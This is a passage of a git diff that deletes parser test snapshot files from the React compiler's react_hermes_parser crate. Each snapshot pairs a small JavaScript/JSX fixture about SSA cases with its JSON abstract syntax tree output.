-              "loc": null,
-              "range": [
-                138,
-                170
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              127,
-              170
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  173,
-                  176
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    177,
-                    178
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    180,
-                    181
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                173,
-                182
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              173,
-              183
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    194,
-                    197
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        198,
-                        199
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          201,
-                          202
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        200,
-                        203
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      198,
-                      203
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        204,
-                        205
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          207,
-                          208
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        206,
-                        209
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      204,
-                      209
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  193,
-                  212
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                193,
-                212
-              ]
-            },
-            "loc": null,
-            "range": [
-              186,
-              213
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          78,
-          215
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        52,
-        215
-      ],
-      "loc": null,
-      "range": [
-        52,
-        215
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    33,
-    215
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-call-jsx.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-call-jsx.js.snap
deleted file mode 100644
index 15935657105b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-call-jsx.js.snap
+++ /dev/null
@@ -1,488 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-call-jsx.js
----
-Input:
-function foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  foo(a, b);
-  let _ = <div a={a} />;
-  foo(a, b);
-  return <div a={a} b={b} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          15,
-          17
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        17
-      ],
-      "loc": null,
-      "range": [
-        0,
-        17
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          28,
-          37
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            38,
-            43
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    59,
-                    61
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  61
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              49,
-              62
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    75,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              65,
-              78
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  81,
-                  84
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    85,
-                    86
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                81,
-                90
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              81,
-              91
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    98,
-                    99
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        103,
-                        106
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "a",
-                          "loc": null,
-                          "range": [
-                            107,
-                            108
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              110,
-                              111
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            109,
-                            112
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          107,
-                          112
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      102,
-                      115
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    102,
-                    115
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  98,
-                  115
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              94,
-              116
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  119,
-                  122
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    123,
-                    124
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    126,
-                    127
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                119,
-                128
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              119,
-              129
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    140,
-                    143
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        144,
-                        145
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          147,
-                          148
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        146,
-                        149
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      144,
-                      149
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        150,
-                        151
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          153,
-                          154
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        152,
-                        155
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      150,
-                      155
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  139,
-                  158
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                139,
-                158
-              ]
-            },
-            "loc": null,
-            "range": [
-              132,
-              159
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          45,
-          161
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        19,
-        161
-      ],
-      "loc": null,
-      "range": [
-        19,
-        161
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    161
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-cascading-eliminated-phis.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-cascading-eliminated-phis.js.snap
deleted file mode 100644
index 7e57f8386862..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-cascading-eliminated-phis.js.snap
+++ /dev/null
@@ -1,616 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-cascading-eliminated-phis.js
----
-Input:
-function Component(props) {
-  let x = 0;
-  const values = [];
-  const y = props.a || props.b;
-  values.push(y);
-  if (props.c) {
-    x = 1;
-  }
-  values.push(x);
-  if (props.d) {
-    x = 2;
-  }
-  values.push(x);
-  return values;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "values",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    55
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    58,
-                    60
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  49,
-                  60
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    71
-                  ]
-                },
-                "init": {
-                  "type": "LogicalExpression",
-                  "operator": "||",
-                  "left": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        74,
-                        79
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        80,
-                        81
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      74,
-                      81
-                    ]
-                  },
-                  "right": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        85,
-                        90
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        91,
-                        92
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      85,
-                      92
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    74,
-                    92
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  70,
-                  92
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              93
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "values",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    96,
-                    102
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    103,
-                    107
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  96,
-                  107
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    109
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                96,
-                110
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              96,
-              111
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  118,
-                  123
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  124,
-                  125
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                118,
-                125
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        133,
-                        134
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        137,
-                        138
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      133,
-                      138
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    133,
-                    139
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                127,
-                143
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              114,
-              143
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "values",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    146,
-                    152
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    153,
-                    157
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  146,
-                  157
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    158,
-                    159
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                146,
-                160
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              146,
-              161
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  168,
-                  173
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "d",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  174,
-                  175
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                168,
-                175
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        183,
-                        184
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        187,
-                        188
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      183,
-                      188
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    183,
-                    189
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                177,
-                193
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              164,
-              193
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "values",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    196,
-                    202
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    203,
-                    207
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  196,
-                  207
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    208,
-                    209
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                196,
-                210
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              196,
-              211
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "values",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                221,
-                227
-              ]
-            },
-            "loc": null,
-            "range": [
-              214,
-              228
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          230
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        230
-      ],
-      "loc": null,
-      "range": [
-        0,
-        230
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    230
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-complex-multiple-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-complex-multiple-if.js.snap
deleted file mode 100644
index c892d1b323cf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-complex-multiple-if.js.snap
+++ /dev/null
@@ -1,350 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-complex-multiple-if.js
----
-Input:
-function foo() {
-  let x = 1;
-  let y = 2;
-  if (y === 2) {
-    x = 3;
-  }
-
-  if (y === 3) {
-    x = 5;
-  }
-  y = x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              32,
-              42
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  49,
-                  50
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 2.0,
-                "loc": null,
-                "range": [
-                  55,
-                  56
-                ]
-              },
-              "loc": null,
-              "range": [
-                49,
-                56
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        64,
-                        65
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        68,
-                        69
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      64,
-                      69
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    70
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                58,
-                74
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              45,
-              74
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  82,
-                  83
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 3.0,
-                "loc": null,
-                "range": [
-                  88,
-                  89
-                ]
-              },
-              "loc": null,
-              "range": [
-                82,
-                89
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        97,
-                        98
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 5.0,
-                      "loc": null,
-                      "range": [
-                        101,
-                        102
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      97,
-                      102
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    97,
-                    103
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                91,
-                107
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              78,
-              107
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  110,
-                  111
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  114,
-                  115
-                ]
-              },
-              "loc": null,
-              "range": [
-                110,
-                115
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              110,
-              116
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          118
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        118
-      ],
-      "loc": null,
-      "range": [
-        0,
-        118
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    118
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-complex-single-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-complex-single-if.js.snap
deleted file mode 100644
index d4c4d1226890..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-complex-single-if.js.snap
+++ /dev/null
@@ -1,263 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-complex-single-if.js
----
-Input:
-function foo() {
-  let x = 1;
-  let y = 2;
-  if (y === 2) {
-    x = 3;
-  }
-
-  y = x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              32,
-              42
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  49,
-                  50
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 2.0,
-                "loc": null,
-                "range": [
-                  55,
-                  56
-                ]
-              },
-              "loc": null,
-              "range": [
-                49,
-                56
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        64,
-                        65
-                      ]
-                    },
